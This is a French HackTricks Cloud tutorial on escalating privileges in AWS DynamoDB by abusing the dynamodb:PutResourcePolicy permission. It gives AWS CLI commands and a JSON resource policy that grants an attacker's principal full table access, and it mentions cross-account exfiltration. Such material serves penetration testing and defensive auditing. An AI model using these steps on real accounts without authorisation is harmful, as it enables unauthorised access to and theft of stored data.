AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
dynamodb
Pour plus d'informations sur dynamodb, consultez :
dynamodb:PutResourcePolicy
, et éventuellement dynamodb:GetResourcePolicy
Depuis mars 2024, AWS propose des politiques basées sur les ressources pour DynamoDB (AWS News).
Ainsi, si vous avez le dynamodb:PutResourcePolicy
pour une table, vous pouvez simplement vous accorder, ou accorder à tout autre principal, un accès complet à la table.
Accorder le dynamodb:PutResourcePolicy
à un principal aléatoire se produit souvent par accident, si les administrateurs pensent que l'octroi de dynamodb:Put*
ne permettrait au principal que d'ajouter des éléments à la base de données - ou s'ils ont accordé cet ensemble de permissions avant mars 2024...
Idéalement, vous avez également dynamodb:GetResourcePolicy
, afin de ne pas écraser d'autres permissions potentiellement vitales, mais seulement d'injecter les permissions supplémentaires dont vous avez besoin :
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Si vous ne pouvez pas récupérer la politique actuelle, utilisez simplement celle-ci qui accorde un accès complet sur la table à votre principal :
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Si vous devez le personnaliser, voici une liste de toutes les actions DynamoDB possibles : AWS Documentation. Et voici une liste de toutes les actions qui peuvent être autorisées via une politique basée sur les ressources ET lesquelles de celles-ci peuvent être utilisées entre comptes (pensez à l'exfiltration de données !) : AWS Documentation
Maintenant, avec le document de politique policy.json
prêt, mettez la politique de ressource :
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Maintenant, vous devriez avoir les autorisations nécessaires.
Post Exploitation
Autant que je sache, il n'y a aucun autre moyen direct d'escalader les privilèges dans AWS juste en ayant quelques autorisations dynamodb
AWS. Vous pouvez lire des informations sensibles à partir des tables (qui pourraient contenir des identifiants AWS) et écrire des informations dans les tables (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la page Post Exploitation de DynamoDB :
AWS - DynamoDB Post Exploitation
À FAIRE : Lire des données en abusant des flux de données
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.